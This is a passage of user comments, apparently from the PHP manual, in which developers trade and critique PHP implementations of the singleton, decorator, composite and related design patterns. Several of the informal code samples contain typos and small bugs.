        public function offsetExists($offset){

                        $test = $this->object->__get($offset);
                        if($test !== null){
                                return true;
                        } else {
                                return false;
                        }
        }
}

$stdobject = (object)array('test'=>'test', 'test2' => 'test2');
$arr = new ArrayAccessDecorator($stdobject);
print $arr['test']; // test
$arr['test'] = 'hello';
print $arr['test']; // hello
?>
rskret at gmail dot com 04-Jun-2009 03:46
Ex.2 only makes a 'Singleton' in the sense there is only one object makable.
But! you can still assign the object to other names(like making aliases). Probably not
what you usually want. Change the method a bit and you get only one unique name
for your 'Singleton'.. or else it will bark again and again!
<?php
#if you don't change example 2 you will get a $badDoggie
$badDoggie="I am constructedSorry but I'm already set.Sorry but I'm already set.
            Sorry but I'm already set.Woof!Woof!Woof!";
    // The singleton method
    public static function singleton()
    {
        if (!isset(self::$instance)) {
            $c = __CLASS__;
            self::$instance = new $c;
            #return self::$instance;
        }
        echo "Sorry but I'm already set.";
        return self::$instance; ##...wrong place for this!comment this, uncomment it above
    }
?>
<?php
// This would fail because the constructor is private
#$test = new Example;
// This will always retrieve a single instance of the class
$test = Example::singleton();
$again = Example::singleton();
$and_again = Example::singleton();
$test->bark();
$again->bark();
$and_again->bark();
?>
marshall dot mattingly at NOSPAM dot gmail dot com 17-Apr-2009 09:56
Here's my singleton class for php 5.3.0:

<?php
class Singleton {
  // this must be in every inherited singleton!
  protected static $_instance;

  // get the instance
  final public static function instance() {
    // create the instance if we don't have one
    if (empty(static::$_instance)) {
      $class = get_called_class(); // php 5.3.0
      static::$_instance = new $class;
    }

    return static::$_instance;
  }

  // must protect the constructor
  protected function __construct() { }

  // overload __clone
  final public function __clone() {
    throw new Exception('Cannot duplicate a singleton.');
  }
}

// a sample extension
class Extension extends Singleton {
  // has to be here, sadly... if only statics were inherited
  protected static $_instance;

  protected function __construct() { ... }

  public function foo() {
    echo 'foo\n';
  }
}

// example
$extension = Extension::instance();
$extension->foo(); // echo's 'foo\n' as expected
?>

Having to add "protected static $_instance" to every singleton is somewhat annoying. I tried the obvious alternative and stored all the instances within an array in the Singleton class. I ran Extension::getInstance() 1,000,000 over 10 runs to see which method was faster:

Array of $_instances:  3.47s average
Individual $_instance: 1.75s average

Considering the array of instances only had 1 key to search through, it's reasonable to assume that method would get slower as singletons are added, whereas the method above will always stay the same speed. The difference was enough for me to suffer the minor inconvenience.
grummfy at gmail dot com 06-Apr-2009 09:23
Well, for non-php 5.3 users, another way is replacing get_called_class() by get_class(self) ou get_class($this).
grummfy at gmail dot com 05-Apr-2009 08:33
Exemple of singleton that can be used for other class (need phpversion >= 5.3)
<?php
class SingletonModel
{
    /**
     * Instance of singleton's class
     *
     * @var array
     */
    private static $_instance;

    /**
     * All constructeur should be protected
     */
    protected function __construct(){}

    /**
     * Singleton method to load a new object
     *
     * @return HlPwd_SingletonModel
     */
    public static function singleton()
    {
        if (!isset(self::$instance[ get_called_class() ]))
        {
            $c = get_called_class();
            self::$instance = new $c;
        }

        return self::$instance;
    }

    /**
     * Destroy the singleton
     */
    public function destroySingleton()
    {
        unset(self::$_instance[ get_class($this) ]);
    }

    /**
     * Destructeur
     */
    public function __destruct()
    {
        unset(self::$_instance);
    }

    /**
     * Impeach the clone of singleton
     */
    public function __clone()
    {
        trigger_error('Cloning not allowed on a singleton object', E_USER_ERROR);
    }
}

# EOF

you can easyli use it  like that

class mySingChild extends SingletonModel
{
    protected function __construct()
    {
        //do important things
    }

    public function foo()
    {
        echo 'hello world';
    }
}

$t = mySingChild::singleton();
$t->foo();
Talraith 12-Mar-2009 08:42
I think a simpler option is to have a loader class/object and then the actual class.  It keeps your class more secure in that you are defining the visibility on $instances and you keep your class neat and tidy.

I found this useful when trying to use the singleton method on a class that extends another class.

<?php

class module_loader {
    private static $instances;

    public static function getInstance($module_name) {
        if (!isset(self::$instances[$module_name])) {
            self::$instances[$module_name] = new $module_name();
        }

        return self::$instances[$module_name];
    }
}

class module_base {
    proteced $name;

    public function __construct() {
        // Do initialization stuff here

    }

    public final function SomePermanentFunction() {
        // Perform function actions
    }
}

class module_test extends module_base {
    public $my_var;

    public function __construct() {
        parent::__construct();

        $this->name = 'test';
        $this->my_var = '';
    }

    public function ModuleSpecificFunction() {

    }
}

?>

So then once you have all of that defined, you can then use it like such:

<?php

// Get first instance and set value
$instance1 = module_loader::getInstance('module_test');
$instance1->my_var = 'abc';

print "Instance 1 Var = " . $instance1->my_var;

// Create second instance and check value
$instance2 = module_loader::getInstance('module_test');

print "Instance 2 Var = " . $instance2->my_var;

// Set value on second instance, check first instance
$instance2->my_var = 'def';

print "Instance 1 Var = " . $instance1->my_var;

?>

The output would then look like this:

Instance 1 Var = abc
Instance 2 Var = abc
Instance 1 Var = def

Thus $instance1 and $instance2 are created using the factory pattern but they both point back to the same object (singleton pattern).
vaddsm(at)gmail.com 22-Jan-2009 12:34
Hello! I want to suggest another fast and universal way to create a singleton, that can store instances any class types. The idea based on php's ability to create object's properties in run time, and magic functions support. Main trick is to create not existed property in __get method and assign to it a value of new instance of class, named as property.

Code:

<?php

class fClassOne
{

 public function get()
 {
  return "value 1<br>\n";
 }

 public function  __construct()
 {
  echo "fClassOne constructed<br>\n";
 }

}

class fClassTwo
{

 public function get()
 {
  return "value 2<br>\n";
 }

 public function  __construct()
 {
  echo "fClassTwo constructed<br>\n";
 }

}

class fSingleton
{
 public function __get($sClassName)
 {
  echo "isset check<br>\n";
  if(!isset($this->{$sClassName})) $this->{$sClassName} = new $sClassName;
  return $this->{$sClassName};
 }
}

$MySingleton = new fSingleton();

for ($i = 0; $i < 5; $i++) echo $MySingleton->fClassOne->get();

echo $MySingleton->fClassTwo->get();
echo $MySingleton->fClassTwo->get();

 ?>

Output:

isset check
fClassOne constructed
value 1
value 1
value 1
value 1
value 1
isset check
fClassTwo constructed
value 2
value 2
Anonymous 31-Dec-2008 11:34
1: The singleton pattern ensures that only one instance of a class is ever created. Thus, applying it to a database connection object is common, since reusing a connection reduces latency and slows down reaching the database server's connection limit. If a database connection is only made in the singleton's constructor then it is probably impossible to accidentally open another connection via that object.

I say "probably impossible" because there are still some other issues: in this example, an invalid database connection identifier can be stored, retrieved, or lost (since it is an unserializable resource type) via object serialization without careful attention to the __sleep and __wakeup magic methods (and probably won't be valid on deserialization even if it is retained), and the __clone magic method should be implemented in a way that prevents object duplication.

(This example also ignores database connection pooling to stay focused on singletons.)

2: A singleton does not contain itself; it contains a reference to itself, which is conceptually similar to a pointer from the C language or a reference from Java. (In fact these are all very different under the hood and in practice, but I will ignore this for simplicity.)

Consider the following typical PHP 5.0 to 5.2 implementation:

<?php
class Example {

    private static $instance;

    private __construct() {
        // Do important initializations here, like normal.
    }

    public static function getInstance() {
        if (null == self::$instance):
            // First invocation only.
            $className = __CLASS__;
            self::$instance = new $className();
        endif;
        return self::$instance;
    }

    public function __clone() {
        throw new Exception('Illegally attempted to clone ' . __CLASS__);
    }
}
?>

Static class member variables can exist even without an instance of their class, and static class methods can be invoked without a class instance as well. The member variable that holds a reference to the singleton class instance ($instance) is static, as is the method to instantiate a singleton object (Example::getInstance()). Note that the variable $instance is private, so it cannot be affected by anything external to the class (thus preventing outside code from creating an instance of Example).

Static member variables are not really "inside" a class; each class instance points to the same static member variables as other instances, "sharing" these static variables between them (in a way) even before any class instances exist. Thus, Example::getInstance() always checks the same $instance variable.

3: The constructor has an access specifier of "private" to prevent direct instantiation using the "new" operator. (Prior to the implementation of the __callStatic features of PHP 5.3 it is not useful to mark the constructor "protected" since subclasses won't automatically also be singletons.) However, private methods can be invoked from a class's other methods; the static method Example::getInstance() is therefore allowed to invoke the private constructor. On first invocation, it creates an instance of Example and stores a reference to it in $instance. Subsequently, it just returns this reference.

4: The singleton pattern makes a class (slightly) more complicated, and the overhead of invoking its instantiation method is probably slightly higher than accessing a global variable instead. However, the benefits are substantial from an architectural perspective: it helps prevent performance losses due to accidentally instantiating more than one heavyweight class, it helps prevent bugs due to accidentally instantiating more than one instance of a class (such as a class that renders the requested HTML document in an online content management system), and helps keeps your global namespace and other lexical scopes clean even prior to the introduction of proper namespaces in PHP 5.3 (thus helping to prevent accidental variable clobbering or unexpected initial variable values from a previous module).
k at tamayuz dot com 13-Oct-2008 01:59
Till now writing singleton classes depends on making class constructor private or protected and that sounds good, but what if class constructor must be public (for example, a singleton class inherits from a non-singleton class which already has a public constructor). The way to do so is:

<?php
    class nonSingleton
    {
        protected $_foo;

        public function __construct($foo)
        {
            $this -> _foo = $foo;
        }
    }

    class Singleton extends nonSingleton
    {
        /**
         * Single instance of the class
         *
         * @var Singleton
         */
        protected static $_instance = NULL;
        /**
         * A flag to know if we are in getInstance method or not.
         *
         * @var bool
         */
        protected static $_withinGetInstance = false;

        /**
         * Public singleton class constructor
         *
         * @param mixed $foo
         */
        public function __construct($foo)
        {
            if (! self :: $_withinGetInstance)
                throw new Exception('You cannot make a new instance of this class by using constructor, use getInstance() instead...');
            parent :: __construct($foo);
            /*
                Any other operations constructor should do...
            */
        }

        /**
         * Regular getInstance method
         *
         * @param mixed $foo
         * @return Singleton
         */
        public static function getInstance($foo)
        {
            self :: $_withinGetInstance = true;
            if (! self :: $_instance)
                self :: $_instance = new Singleton($foo);
            self :: $_withinGetInstance = false;
            return self :: $_instance;
        }
    }
?>
Anonymous 29-Sep-2008 05:44
Let me describe another pattern it is called “Decorator”. It can be used to add features to already written object. It is useful for extending some library classes from your framework without changing the original classes (especially if somebody else wrote those). The actual meaning is best presented in an example.

<?php
// the main interface in which we going to do some decoration
interface salad{
    public function wait();
}

// main class which is already defined and you can't or don't want to change
class shopSalad implements salad{
    private $tomatoes;
    private $cucumbers;
    private $cheese;

    public function __construct($tomatoes, $cucumbers, $cheese){
        $this->tomatoes = $tomatoes;
        $this->cucumbers = $cucumbers;
        $this->cheese = $cheese;
    }

    public function wait(){
        echo "the salad is served using {$this->tomatoes} tomatoes, {$this->cucumbers} cucumbers and {$this->cheese} gr. of cheese.";
    }
}

// abstract decorator class - note that it implements salad
abstract class saladDecorator implements salad{
    protected $salad;  // the object for decoration
    public function __construct(salad $salad){
        $this->salad=$salad;
    }
    // there is no need to mention the wait function therefore this class inherits the original salad
    // the purpose of this class is maintaining the type of the object produced by the decorators.
    // it inherits the same interface as the original and it will be inherited by the concrete decorators
}

// sauce decorator
class saladSauce extends saladDecorator {
    public function wait(){
        $this->salad->wait();
        echo " Then it was decorated with some sauce.";

    }
}

// onions decorator
class saladOnions extends saladDecorator {
    public function wait(){
        $this->salad->wait();
        echo " Then it was decorated with some onions.";
    }
}

$order1 = new shopSalad(2,1,100); // creates the salad in the normal way
$order1 = new saladSauce($order1); // add a decorator to the class
$order1->wait();
echo '<br />';

// or
$order3 = new saladOnions(new saladSauce(new shopSalad(1,0.5,50))); // you don't need to load a variable with the reference
$order3->wait();
?>

this will outputs:
the salad is served using 2 tomatoes, 1 cucumbers and 100 gr. of cheese. Then it was decorated with some sauce.
the salad is served using 3 tomatoes, 2 cucumbers and 100 gr. of cheese. Then it was decorated with some onions. Then it was decorated with some sauce.
the salad is served using 1 tomatoes, 0.5 cucumbers and 50 gr. of cheese. Then it was decorated with some souse. Then it was decorated with some onions.

The pattern is not intended to be used with simple object and I couldn't do more simple than that. The pattern is useful in every way when the extending of an object is required. It can be used to divide some methods from others or to create layers of interaction with the object. In example if you have an file interface and a imageFile class which implements the file and then you can have also an textFile for the textFile you can do some layering and if you want to read the file as XML you can mace a decorator to do so. The XML decorator will inherit the interface file so you can save it and    the instance of textFile will be given to create the decorator so you can read the actual text and pars it as XML. It is possible the file to be .ini or some other text based document and you can make a decorator for every one of them. This is the actual benefit of the pattern.
Partty 29-Sep-2008 04:13
The singleton effect you are applying to can be achieved in a old-fashioned and simpler way. Remember that the 'static' is the way for sharing the data between the objects from one type. And there is no pattern in this. So the only think you can do is to use the static keyword. If your program is already written and the rewrite is not recommended there is the "adapter pattern" witch can be used. It is intended to adapt an object to an already build environment. This is one way to have singleton functionality without actually the singleton pattern, it uses a class with static data and static methods and a adaptor class to adapt those methods to your interface.

The example shows how the every instance of the singlePoint class givs you the same data.
<?php
class single {

    static $a;
    static $b;

    protected static function _start($a,$b){
        self::$a=$a;
        self::$b=$b;
    }
    protected static function _get_a(){
        return self::$a;
    }
    protected static function _get_b(){
        return self::$b;
    }
}
class singlePoint extends single {
    public function __construct($a='',$b=''){
        if($a!='' && $b!=''){
            single::_start($a,$b);
        }
    }
    public function get_a(){
        return single::_get_a();
    }
    public function get_b(){
        return single::_get_b();
    }
}

class scopeTest{
    public function __construct(){
        $singlePointInstance = new singlePoint();
        echo 'In scopeTest a='.$singlePointInstance->get_a().'<br />';
    }
}

$theSingle = new singlePoint(3,5);
echo 'In index a='.$theSingle->get_a().'<br />';

$theScopeTest = new scopeTest();
?>

My point is that you don't need single instance of the class but you need access to the same data over and over again ant the build in way to do that in every language I know so far is the 'static' keyword. It was engineered to give you this functionality. All the singleton patterns and even this adapter is unnecessary complication of the structure. KISS = “Keep It Simple Stupid” no need of that!
Mattlock 06-Sep-2008 06:49
I've been forward-developing for PHP 5.3, and couldn't help but notice that late-static-binding makes implementing Singletons simple. Its even easy to set up some function forwarding so that static calls are transformed into non-staic calls:

<?php
// Requires PHP 5.3!
class Singleton {
    public static function Instance() {
        static $instances = array();
        $class = get_called_class();
        if (!array_key_exists($class, $instances)) {
            $instances[$class] = new $class();
        }
        return $instances[$class];
    }
    public static function __callStatic($func, $args) {
        $class = static::Instance();
        return call_user_func_array(array($class, '__'.$func), $args);
    }
}

class Earth extends Singleton {
    public function __DoSomething($a, $b) {
        return 15 + $this->SomethingElse($a, $b);
    }
    protected function SomethingElse($c, $d) {
        return $c % $d;
    }
}

echo Earth::DoSomething(6,27);
?>
alexander gavazov 27-Aug-2008 07:05
For quick instance access use function
<?php
class Example{....}

function Example {
  return Example::getInstance();
}

// Global access
Example()->sayHallo(...);
Example()->doSomething(...);
print Example()->someData;
?>
Alex (raffe) toader_alexandru at yahoo dot com 03-Jun-2008 11:04
Db layer design algorithm:
"Separation of database layer by database functionality"

First we draw this line:

Application
-------------
     DB

Here comes the new thing:
The db layer we separate it into two areas like this:

Db layer
       |
select | insert, update delete
       |

in the left side we have the select part.
The difference between the left and the right sides is that select side has no connection with the db structure - you can take data querying all table, while the right side is table oriented.

Select side:
Here all queries are in one file called "getters". Like getterUsers.

Inside it will be the body of the query but the fields that are to be selected will be build dynamically.
When calling this "getter" you will provide an array of fields to be selected or no fields, situation when it will take all fields.

To keep those db field names as low as possible in this architecture - so the above code dont need to know about the name of the fields in db, you will make just above this "getter", a "filter" file.
This filter will have a switch with a key and inside will call the getter with fields from db.
Ex:
<?php
switch(key)
case 'Label':
$fields = array("label", "firstName");
$obj->getUser($fields)
break;
?>

Above this filter you will have a "caller" that will call the "filter" with the key:
Ex:
<?php
function callerUserLabel()
{
->filterUserLabel('Label');
}
?>

So in the higher code you just make
->callerUserLabel();
and this will return all what you need.

If you want this query to get out of the db and another field called "email", you just create another case in the switch and a "caller" to call that case.

Dynamic and extensible.

----------------

Now on the insert update side.
Here we only think in db tables.

First we do some "checkers" for all fields in db.
checkerTableName.php
This will contain an array with all the fields and the checks that must be done on that field and perform the checks only on the provided fields.

Then we do the "updaters". Those are build dinamically like the "getters" - if fields provided, only those updated. If all fields provided, can be used as an "inserter".

When performing an insert, all checks on that table will be done.

When performing an update on only one field - like updating a label, only that label will be checked to be in conformity with requirements like a length, special chars inside.
Dependency checks are made here also.

When having in one application action a multiple insert or update (when inserting an operator also add a webUser lets say) you do above those "inserter" and "updater" files a small "manager" that will do:
->checkOperatorFields();
->checkWebUserFields();

->insertOperator();
->insertWebUser();

If no error is thrown, all things will go nice and quiet.

Now also the "getters" will have their fields checked when needed using those checkers. I am talking about the values that are given as parameters not about the ones that are returned from db.

If you are working with domain objects or business logic objects (whatever you call them) above the db layer you will have to make below that line we first draw a "business logic asambler" object that will make from your data what you want.

If this dont exist, at least an intermediary layer that will map the names from db with the ones used in application must be done in both directions - from application to db and from db to application.

-------------------------------------

Advantages of this architecture:
- Usefull in complex application especheally where the selects are made ussually from many tables so you dont have to load lots and lots of files and to get lost in the logic for one simple select.
- NO DUPLICATE CODE
- Simple and intuitive.
- Flexible and expendable.
Andrea Giammarchi 01-Jun-2008 10:49
A tricky way to implement Factory or Singleton is this one:
<?php

class A {
    // your amazing stuff
}

// implicit factory
function A( /* one or more args */ ){
    return new A( /* one or more args */ );
}

$a = A(1,2,3);
$b = A(2,3);

// or implicit Singleton
function A( /* one or more args */ ){
    static $instance;
    return isset($instance) ? $instance : ($instance = new A( /* one or more args */ ));
}

A(1,2,3) === A(2,3); // true
?>

More details in WebReflection, byez
someone at somewhere dot com 05-May-2008 01:20
If you want a singleton and you don't mind on throwing a stop error/exception when a 2nd instace is created instead of returning the already created object, then this code works with subclassing and without getInstace alike functions (just with __construct)

<?php

class SINGLETON
{
    // the array for checking the created instances
    protected static $singletons = array ();

    // make it final so extended classes cannot override it
    final public function __construct ()
    {
        $classname = get_class ( $this );

        if ( ! isset ( self::$singletons[$classname] ) )
            // instead of $this it could be any value since we are checking for isset, but a reference to the object may be useful in a possible improvement, somewhat
            self::$singletons[$classname] = $this;
        else
            // your favorite stop error here
            trow new Exception ();
    }

    // final as well, no overriding, plus protected so it cannot be called
    final protected function __clone () {}
}

class X extends SINGLETON
{
    //...
}

class Y extends X
{
    //...
}

$x = new X ();
$y = new Y ();

$a = new X (); // execution stops, as an instance of X is created already

$b = new Y (); // execution stops, as an instance of Y is created already, it DOES NOT give problems with X, despite extending X

?>

so, if it is ok to stops the execution, this method is way simpler

it must stops the execution because no matter what, __construct will return a reference to the new object, always, so if the script goes on further you will have effectively 2 instances (as a matter of fact, the code above only checks the existence of another object from the same class, it does not prohibit the creation of a new one)

hth
Mattlock 21-Feb-2008 08:16
This allows for singleton functionality via class extension, and does not use any shady functions like eval.

<?php
interface ISingleton {
    public static function GetInstance();
}

class Singleton implements ISingleton {
    public static function GetInstance($class='Singleton') {
        static $instances = array();

        if (!is_string($class)) {
            return null;
        }

        if ($instances[$class] === null) {
            $instances[$class] = new $class;
        }

        return $instances[$class];
    }
}

class Mars extends Singleton implements ISingleton {
    public static function GetInstance() {
        return Singleton::GetInstance(get_class());
    }
}

class Neptune extends Singleton implements ISingleton {
    public static function GetInstance() {
        return Singleton::GetInstance(get_class());
    }
}

$x = Mars::GetInstance();
echo '<pre>'.print_r($x,true).'</pre>';

$x = Neptune::GetInstance();
echo '<pre>'.print_r($x,true).'</pre>';
?>
Alexandre at dontspamme gaigalas dot net 09-Jan-2008 01:01
Simplest PHP5 singleton implementation ever:

<?php
class Some_Class
{
    static private $_i;
    private function __construct()
    {
    }
    static public function singleton() {
        return isset(self::$_i) ? self::$_i : self::$_i = new self();
    }
}
?>
dario [dot] ocles [at] gmail [dot] com 18-Jun-2007 03:09
This's a example of Composite Pattern:

<?php
abstract class Graphic{
    abstract public function draw();
}

class Triangle extends Graphic{
    private $name = '';

    public function __construct($name = 'unknown'){
        $this->name = $name;
    }

    public function draw(){
        echo '-I\'m a triangle '.$this->name.'.<br>';
    }
}

class Container extends Graphic{
    private $name = '';
    private $container = array();

    public function __construct($name = 'unknown'){
        $this->name = $name;
    }

    public function draw(){
        echo 'I\'m a container '.$this->name.'.<br>';
        foreach($this->container as $graphic)
            $graphic->draw();
    }

    public function add(Graphic $graphic){
        $this->container[] = $graphic;
    }

    public function del(Graphic $graphic){
        unset($this->container[$graphic]);
    }
}

$tri1 = new Triangle('1');
$tri2 = new Triangle('2');
$tri3 = new Triangle('3');

$container1 = new Container('1');
$container2 = new Container('2');
$container3 = new Container('3');

$container1->add($tri1);
$container1->add($tri2);
$container2->add($tri3);

$container3->add($container1);
$container3->add($container2);

$container3->draw();
?>

The above example will output:

I'm a container 3.
I'm a container 1.
-I'm a triangle 1.
-I'm a triangle 2.
I'm a container 2.
-I'm a triangle 3.

Dario Ocles.
Dave Miller 25-Mar-2007 02:12
Here's a way to make singleton classes with no extra code other than "extends Singleton" - if you use __AutoLoad() and keep each class in a separate file that is...

<?php

abstract class Singleton {

  // Cannot be instantiated by any other class
  protected function __Construct() { }

  // Cannot be cloned ever
  private function __Clone() { }

  // Create/fetch an instance of the class
  static public function getInstance($ClassName = null) {

    static $Instance;

    if ($Instance) {
      return $Instance;
    } elseif ($ClassName) {
      $Instance = new $ClassName;
      return $Instance;
    } else {
      return null; // or throw exception if you want...
    }

  }

}

function __AutoLoad($ClassName) {
  include "$ClassName.php";
  if (is_subclass_of($ClassName, 'Singleton')) {
    eval($ClassName.'::getInstance($ClassName);');
  }
}

// ClassName.php
class ClassName extends Singleton {
  // ... Code ...
}

// To use
$a = ClassName::getInstance();
$a->MyFunc();

?>

Of course you could do this differently - the point is that you can use __AutoLoad() to tell the single what class it is, unlike some other ways where this is done manually every time you define a singleton class.
eyvindh79 at gmail dot com 06-Dec-2006 09:48
A pure extendable(multiple sublevels) Singleton class in PHP seems impossible at the moment because of the way PHP handles static inheritance, but my class is close to what i want.

Very simple usage:

<?php
class Test extends Singleton {

    public static function getInstance(){
        return Singleton::getSingleton(get_class());
    }

}
?>

Singleton class implementation:

<?php
class Singleton {

    /***********************
     * HOW TO USE
     *
     * Inherit(extend) from Singleton and add getter:
     *
     *  //public getter for singleton instance
     *     public static function getInstance(){
     *        return Singleton::getSingleton(get_class());
     *    }
     *
     */

    private static $instanceMap = array();

    //protected getter for singleton instances
    protected static function getSingleton($className){
        if(!isset(self::$instanceMap[$className])){

            $object = new $className;
            //Make sure this object inherit from Singleton
            if($object instanceof Singleton){
                self::$instanceMap[$className] = $object;
            }
            else{
                throw SingletonException("Class '$className' do not inherit from Singleton!");
            }
        }

        return self::$instanceMap[$className];
    }

    //protected constructor to prevent outside instantiation
    protected function __construct(){
    }

    //denie cloning of singleton objects
    public final function __clone(){
        trigger_error('It is impossible to clone singleton', E_USER_ERROR);
    }
}
?>

Just a simple test case:

<?php
class A extends Singleton {

    protected $rndId;

    protected function __construct(){
        $this->rndId = rand();
    }

    public function whatAmI(){
        echo 'I am a A('.$this->rndId.')<br />';
    }

    public static function getInstance(){
        return Singleton::getSingleton(get_class());
    }

}

class B extends A {

    public function whatAmI(){
        echo 'I am a B('.$this->rndId.')<br />';
    }

    public static function getInstance(){
        return Singleton::getSingleton(get_class());
    }

}

$a = A::getInstance();
$b = B::getInstance();

$a->whatAmI();// should echo 'I am a A(some number)
$b->whatAmI();// should echo 'I am a B(some number)

$a = A::getInstance();
$b = B::getInstance();

$a->whatAmI();// should echo 'I am a A(same number as above)
$b->whatAmI();// should echo 'I am a B(same number as above)

$a = new A();// this should fail
$b = new B();// this should fail

?>

I hope this helps.
-Eyvind-
suki at psychosensor dot de 29-Sep-2006 05:38
It's sometimes useful to let one sigleton class extend another. You can achieve this by only using static attributes:

<?php
  class A {
    private static $value = 0;
    private static $instance = null;

    private function __construct() {
      $this->set(time());
    }

    public static function getInstance() {
      if (is_null((self::$instance))) {
        $class_name = __CLASS__;
        self::$instance = new $class_name;
      }

      return self::$instance;
    }

    private function set($i) {
      self::$value = $i;
      $this->out();
    }

    public function out() {
      echo self::$value;
    }
  }

  class B extends A {
    public static $instance = null;

    public static function getInstance() {
      parent::getInstance();
      if (is_null(self::$instance)) {
        $class = __CLASS__;
        self::$instance = new $class;
      }
      return self::$instance;
    }
  }

  $b = B::getInstance();
  $b->out();
?>

This will output the current time twice. If $value isn't static, the call to $b->out() will output 0. Maybe it can save someone some time...
Dennis 11-Aug-2006 12:19
An easy way to have your singleton persistent between page loads:

<?php
/**
 *    Returns an instance of the singleton class.
 *    @return    object        The singleton instance
 */
public static function _instance()
{
    // Start a session if not already started
    Session::start();

    if ( false == isset( $_SESSION[ self::$_singleton_class ] ) )
    {
        $class = self::$_singleton_class;
        $_SESSION[ self::$_singleton_class ] = new $class;
    }

    return $_SESSION[ self::$_singleton_class ];
}

/**
 *    Destroy the singleton object. Deleting the session variable in the
 *    destructor does not make sense since the destructor is called every
 *    time the script ends.
 */
public static function _destroy()
{
    $_SESSION[ self::$_singleton_class ] = null;
}

/**
 *    Initialize the singleton object. Use instead of constructor.
 */
public function _initialize( $name )
{
    // Something...
}

/**
 *    Prevent cloning of singleton.
 */
private function __clone()
{
    trigger_error( "Cloning a singleton object is not allowed.", E_USER_ERROR );
}

private static $_singleton_class = __CLASS__;
?>
cortex at pressemicro dot net 02-Jun-2006 01:27
It's often forgotten, but a singleton class MUST be final. So it's useless to have a base class that implements the pattern and to inherit of it. That's why it's called a pattern and not a class library.

Here a little example that will show why.

<?php
class A {
// singleton pattern with getInstance static method
private $var; // A ressource variable
function __construct() {
    $this->var = "get a ressource that could only  be taken one time by process";
}
}

class B extends A {
// singleton pattern
function __construct() {
    parent::__construct();
}
}

$anA = A :: getInstance();
$aB = B :: getInstance(); // try to get a second ressource, :(

?>

When developping class A, you may have think to be the only one with a $var ressource, but it's completly wrong. As $aB is an A (Think that there is two A instanciate and one with more than just A), $anA and $aB will have a different ressource variable and thus two different database connection for eg.

You'd never know how will be used your code, so you need to make it strong. This is the way of poo thinking.
lycboy at gmail dot com 29-Apr-2006 03:15
I don't agree to take a class with only static members and static methods as a 'singleton'. According to GoF's book, the singleton pattern means a class that only have one instance. A class containing only static members and functions still can be instantiated and extended, it have multiple instances. Consider the code below:
<?php

class StaticTest
{
    private static $_test = "aaa";

    public static function test()
    {
        echo self::$_test;
    }
}

$obj = new StaticTest();

?>
The code will not report errors(although it's useless). So there can be many instances of the class.

It's reasonable that there is a class that create and store a unique instance of another class. Such as:
<?php

class A
{
    private $_id = 0;
    public function getId()
    {
        return $this->_id;
    }
}

class B
{
    private static $_instance;

    public static function singleton()
    {
        if (!isset(self::$_instance)) {
            self::$instance = new A();
        }
        return self::$instance;
    }
}

?>
Here class B act as a guard to class A. But as same as the first section, it's useless too! Unless you can make sure that the users of your class will never find the class A, you shouldn't make the class you wanna to be unique can be instantiated many times.

So the best way to create a unique instance of a class is that the class save the unique instance itself. It is the core meaning of singleton pattern. Any information that mentioned here can be found in the book of GoF. I think it's worth reading the book.

BTW: It's allowed that there are a few of subclasses of a singleton class.
vsviridov at exceede dot com 29-Jan-2006 08:39
Singleton is a very useful pattern if you need multiple instances of different classes to use only one unique instance of common class. It's not just about having static methods.

e.g. Your database connection class probably should be a singleton, in order to spare all redundant connect calls, etc...
toomuchphp-phpman at yahoo dot com 27-Nov-2005 05:46
The principle of the Singleton pattern can easily be expanded to form [what I have dubbed as] the 'Unique' pattern - where a particular class may have several instances, each with a 'Unique ID'.  This can be useful when a single instance is required for each database record.

<?php

  // Each instance of 'Customer' represents one customer!
  class Customer {

     // Access a unique instance of class for a customer record
     public function Unique($CustomerID) {
       static $instances = array();

       // a unique instance for each CustomerID
       if(!isset($instances[$CustomerID]))
         $instances[$CustomerID] = new Customer($CustomerID);

       return $instances[$CustomerID];
     }

     private $CustomerID;

     private function __construct($CustomerID) {
       $this->CustomerID = $CustomerID;
     }
  }

  // get instance of class for customer #1
  $C1 = Customer::Unique(1);

  // get instance of class for customer #2
  $C2 = Customer::Unique(2);

?>
steffen at morkland dot com 11-Oct-2005 07:47
Regarding the singleton pattern, you have to create the function for every singleton class you want to have, because settting a variable static will set the variable on all instances of the class, and second of all, by extending a singleton class, you are breaking rule No #1 of the singleton pattern. an instance of a given type may only excist ONCE, by extending the singleton class you have multiple instances of the singleton class, and by is sharing the static $instance variable.

on thing could be done though, to make sure a programmer does not make any mistakes when creating singleton classes, an interface could be made, to make sure the singleton class is correctly defined.

it could look something like this:

<?php
interface singleton {
    public static function getInstance();
}
?>

however, this interface does NOT force the programmer to make the constructor private, and don't even bother to try, it would just result in a error.

sorry to say it guys, there are no easy way around this one. not even a factory class can do the job for you since, the constructor must be private, to ensure that only one instance excists.
axon dot wp a at t wp dot pl 05-Oct-2005 09:25
Short version of Singleton:
<?php
public function __clone()
    {
        trigger_error('Clone is not allowed.', E_USER_ERROR);
    }
?>

is :
<?php private function __clone() {} ?>
lukas dot starecek at centrum dot cz 17-Jul-2005 01:12
If you need singleton of any class and don't want write singleton wrapper for each this class, try this:

<?php
class UniverzalSingleton {

    const EXCEPTION_NO_CLASS = 1;

    protected static $_instances = array();

    public static function getInstance($class) {
        if (!isset(self::$_instances[$class])) {
            if (!class_exists($class))
                throw (new Exception(__CLASS__ . ': Requsted class is not exist.', self::EXCEPTION_NO_CLASS));
            self::$_instances[$class] = new $class();
        } // if
        return self::$_instances[$class];
    } // getInstance

} // class UniverzalSingleton
?>
disappear dot nz at gmail dot com 07-Jul-2005 11:57
Hi ,

Singleton Patterns are excellent ,
I have created a singleton pattern that enables any class to be loaded from the one modular singleton library.

<?php

    class singleton
    {
        private static $o_instance = NULL ;

        public static function call_singleton ( $s_class )
        {
            if ( class_exists ( $s_class ) )
            {
                if ( self :: $o_instance === NULL )
                {
                    self :: $o_instance = new $s_class ;
                }
            }
            return self :: $o_instance ;
        }
    }

?>
php at mijav dot dk 07-Jul-2005 09:46
Please use design patterns as they were intended:

Design patterns are designs that are known to solve common problems, such as having only 1 instance of a class. Design patterns are are not code libraries.
Most design patterns, if not all, have alternate implementations but common to them all is that the recommended implementation solves the problem.

Singleton should not be made as a class and then extended. Nor shuld __autoload be used.
Autoloading is very PHP-specific (and there might be nothing wrong with that, but design patterns are general patterns that are abstracted from the implementing language).
Making a class that you extend is very ugly. What if you have to extend that class too? You will have to make a dummy that extends your singleton class, just so you can extend the class you want. This is a very "ugly" solution that completely overrules the idea of well known design patters: A thought-though idea that works the way intended.

The manual shows a PHP implementation of the standard Singleton-pattern without "nifty" modifications.

To finish off this lesson on design patterns, I would like to ackknowledge that there is nothing wrong in tweaking patterns to suit your needs.
But remember: "If it isn't broken - don't fix it".
02-Jul-2005 11:28
